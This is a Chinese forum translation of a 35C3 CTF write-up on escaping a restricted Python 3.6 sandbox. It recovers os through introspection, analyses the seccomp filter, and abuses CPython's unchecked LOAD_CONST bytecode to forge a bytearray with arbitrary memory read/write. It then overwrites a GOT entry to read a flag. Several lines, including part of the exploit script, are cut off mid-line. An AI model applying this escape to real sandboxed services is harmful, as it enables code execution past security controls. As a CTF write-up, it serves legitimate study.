35c3ctf: Collection - 非预期解法

风吹花 / 2019-07-25 09:22:00 / 浏览数 3538 安全技术 CTF 顶(0) 踩(0)

题目基本分析

题目给了以下文件：

```
dist/
dist/server.py
dist/Collection.cpython-36m-x86_64-linux-gnu.so
dist/test.py
dist/python3.6
dist/libc-2.27.so
```

正如我们所知，`server.py`可以接收用户输入的python脚本语言。除此之外，它还可以获取flag并使用`dup2`将文件描述符复制到fd 1023中，然后用提供的`python3.6`解释器执行用户的输入。这里有一个小问题，您的代码前面会出现以下这样一段代码：

```
from sys import modules
del modules['os']
import Collection
keys = list(__builtins__.__dict__.keys())
for k in keys:
   if k != 'id' and k != 'hex' and k != 'print' and k != 'range':
       del __builtins__.__dict__[k]
```

此代码尝试设置一个基本的Python沙箱。大体来说，这道题目背后的想法是沙箱逃逸，这样我们就可以从已打开的文件描述符中读取flag。

本来预期的解决方案是利用Collection模块，然而，我的解决方案里面根本没有用到它:P

首先，让我们看看沙箱prefix起到了什么作用：

1.它可以删除`sys.modules`中的os。

2.它可以导入原生模块`Collection`。

3.它可以删除`__builtins__`对象中的每个内建函数，除了`id`，`hex`，`print`和`range`等一小部分，可能是出题人还算比较仁慈吧。

我的这个非预期的解决方案的第一步是，我们要认识到沙盒python是很难正确执行的，并且从`sys.modules`或`__builtins__`中删除的对象实际上是可逆转的，仍然会有很

我使用内省机制返回一些基本的内置组件：

```
str = "".__class__
bytes = b"".__class__
bytearray = [x for x in b"".__class__.__base__.__subclasses__() if "bytearray" in str(x)][0]
```

返回os的过程有点棘手，但仍然是可行的：

```
os = [t for t in ().__class__.__bases__[0].__subclasses__() if 'ModuleSpec' in t.__name__][0].__repr__.__globals__['sys'].modu
```

这可能要更复杂一点，但不能否认的是，它是有效的。

现在我们有了os，看起来我们似乎可以调用`os.read(1023, 100)`了。但不幸的是，如果我们尝试调用，我们会得到以下输出：

```
Bad system call (core dumped)
```

事实表明，Collection模块设置了一个seccomp过滤器，正是它限制了我们可以使用的系统调用。

于是我用seccomp-tools(https://github.com/david942j/seccomp-tools) 来提取过滤器：

```
$ seccomp-tools dump "./python3.6 -c 'import Collection'"
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000  return KILL
0003: 0x20 0x00 0x00 0x00000000  A = sys_number
0004: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
```

```
0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0008: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0010: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0012
0011: 0x05 0x00 0x00 0x00000011  goto 0029
0012: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0014: 0x15 0x00 0x01 0x00000019  if (A != mremap) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0016: 0x15 0x00 0x01 0x00000013  if (A != readv) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0018: 0x15 0x00 0x01 0x000000ca  if (A != futex) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0020: 0x15 0x00 0x01 0x00000083  if (A != sigaltstack) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0024: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0026
0025: 0x05 0x00 0x00 0x00000037  goto 0081
0026: 0x15 0x00 0x01 0x0000000d  if (A != rt_sigaction) goto 0028
0027: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0028: 0x06 0x00 0x00 0x00000000  return KILL
...
--- SNIP - relatively unimporant secondary checks omitted ---
...
0098: 0x06 0x00 0x00 0x00000000  return KILL
```

比如，我们可以使用以下系统调用：

```
exit
exit_group
brk
munmap
mremap
readv
futex
signalstack
close
rt_sigaction
```

我们也可以`write`给`stderr`和`stdout`，并且在懒得解码的时候使用`mmap`。

非常重要的一点是，我们用`readv`来读取flag。除了可以同时对缓冲区数组执行多次读取外，`readv`与`read`系统调用非常相似。我们应该能够用它来读取flag（利用我们之前

```
flag = bytearray(128)
os.readv(1023, [flag])
print(flag)
```

但输出的结果是

```
Trace/breakpoint trap (core dumped)
```

经过一番摸索我们发现，`Collection`模块实际上暗藏了一个玄机。在加载模块时，它会在运行时修补主python可执行文件，并用一系列`0xCC`指令（调试陷阱）覆盖大部分

通常，在Python中获取本机代码很容易，只需使用`ctypes`模块即可。但由于seccomp限制，我们无法加载任何其他模块。经过一番探索后，我发现了这个使用自定义Pyth
，它可以用于设置任意的读/写原语。虽然它是为python2编写的，但我们可以调整相同的概念以适应我们的64位python3.6。这种技术看起来相当复杂（它让我想起了一些

这个python feature/bug的核心在于python如何解析它的字节码——特别是操作码`LOAD_CONST`：

```
/* Python/ceval.c line 1298 */
TARGET(LOAD_CONST) {
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}
```

宏`GETITEM(consts, oparg)`从元组`consts`中的index `oparg`中检索对象，而不进行任何边界检查（但仅在`Py_DEBUG`未定义的情况下！）

对此，我们可以这样利用：

1.在堆上创建一个伪bytearray对象。

2.计算出从consts元组到伪bytearray的指针偏移量。

3.编写字节码，返回我们对伪bytearray的引用。

4.调用自定义字节码。

5.这样就可以用这个bytearray来读/写任何地址了。

为了更好理解其中的细节，我们需要了解CPython如何在内部存储元组和bytearray。我已经在CPython源中重建了以下内容：

```
struct PyByteArrayObject {
   int64_t ob_refcnt;   /* can be basically any value we want */
   struct _typeobject *ob_type; /* points to the bytearray type object */
   int64_t ob_size;     /* Number of items in variable part */
   int64_t ob_alloc;    /* How many bytes allocated in ob_bytes */
   char *ob_bytes;      /* Physical backing buffer */
   char *ob_start;      /* Logical start inside ob_bytes */
   int32_t ob_exports;  /* Not exactly sure what this does, we can ignore it */
}

struct PyTupleObject {
   int64_t ob_refcnt;
   struct _typeobject *ob_type;
   int64_t ob_size;
   PyObject *ob_item[1]; /* contains ob_size elements */
}
```

第1步很简单，我们可以将一些数据放在一个真的bytearray中，它将被存储在堆上。第2步也很简单，Python有一个内置函数`id`，它返回对象的内存地址。如果我们添加`0x`

一旦我们有了一个读/写原语，我们只需在GOT中将libc函数`writev`更换为`readv`，这样我们就可以使用Python函数`os.writev`代替`os.readv`，因为`readv`和`writev`在

结论

当我们把上面这些都搞懂了以后，我们就可以来看看最终的成果了：

```
# recreate things we can't import
str = "".__class__
bytes = b"".__class__
bytearray = [x for x in b"".__class__.__base__.__subclasses__() if "bytearray" in str(x)][0]
os = [t for t in ().__class__.__bases__[0].__subclasses__() if 'ModuleSpec' in t.__name__][0].__repr__.__globals__['sys'].modu

# from dis.opmap
OP_LOAD_CONST   = 100
OP_EXTENDED_ARG = 144
OP_RETURN_VALUE = 83

# packing utilities
def p8(us):
   return bytes([us&0xff])

def p64(n):
   result = []
   for i in range(0, 64, 8): result.append((n>>i)&0xff)
   return bytes(result)

def u64(n):
   res = 0
   for x in n[::-1]: res = (res<<8) | x
   return res

const_tuple = ()

# construct the fake bytearray
fake_bytearray = bytearray(
   p64(0x41414141) +          # ob_refcnt
   p64(id(bytearray)) +       # ob_type
   p64(0x7fffffffffffffff) +  # ob_size (INT64_MAX)
   p64(0) +                   # ob_alloc (doesn't seem to really be used?)
```

```
   p64(0) +                  # *ob_bytes (start at address 0)
   p64(0) +                  # *ob_start (ditto)
   p64(0)                    # ob_exports (not really sure what this does)
)

fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8

print(offset)

# construct the bytecode
bytecode = b""
for i in range(8, 32, 8)[::-1]:
   bytecode += p8(OP_EXTENDED_ARG) + p8(offset>>i)
bytecode += p8(OP_LOAD_CONST) + p8(offset)
bytecode += p8(OP_RETURN_VALUE)

def foo(): pass
foo.__code__ = foo.__code__.__class__(
   0, 0, 0, 0, 0,
   bytecode, const_tuple,
   (), (), "", "", 0, b""
)
magic = foo() # magic is now a window into most of the address space!

print(magic[0x400000:0x400000+4]) # read the elf header as a sanity check

readv_got = 0x9b3d80
writev_got = 0x9b3b28
read_got = 0x9b32e8
diff = 0x116600 - 0x110070 # libc_readv - libc_read

libc_read = u64(magic[read_got:read_got+8])
print("libc_read @", hex(libc_read))

libc_readv = libc_read + diff
print("libc_readv @", hex(libc_readv))

# replace writev with readv in the GOT
magic[writev_got:writev_got+8] = p64(libc_readv)

flag = bytearray(100)
flaglen = os.writev(1023, [flag]) # actually readv!!!
print(flag[:flaglen])
```

PS：我在这里发现了另一篇关于LOAD_CONST
bug的好文章(https://doar-e.github.io/blog/2014/04/17/deep-dive-into-pythons-vm-story-of-load_const-bug/) 。

原文链接：https://www.da.vidbuchanan.co.uk/blog/35c3ctf-collection-writeup.html

上一篇：浅析CTF中的反静态调试（二） 下一篇：PHPCMS漏洞分析合集(上)

1. 0 条回复
   - 动动手指，沙发就是你的了！

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板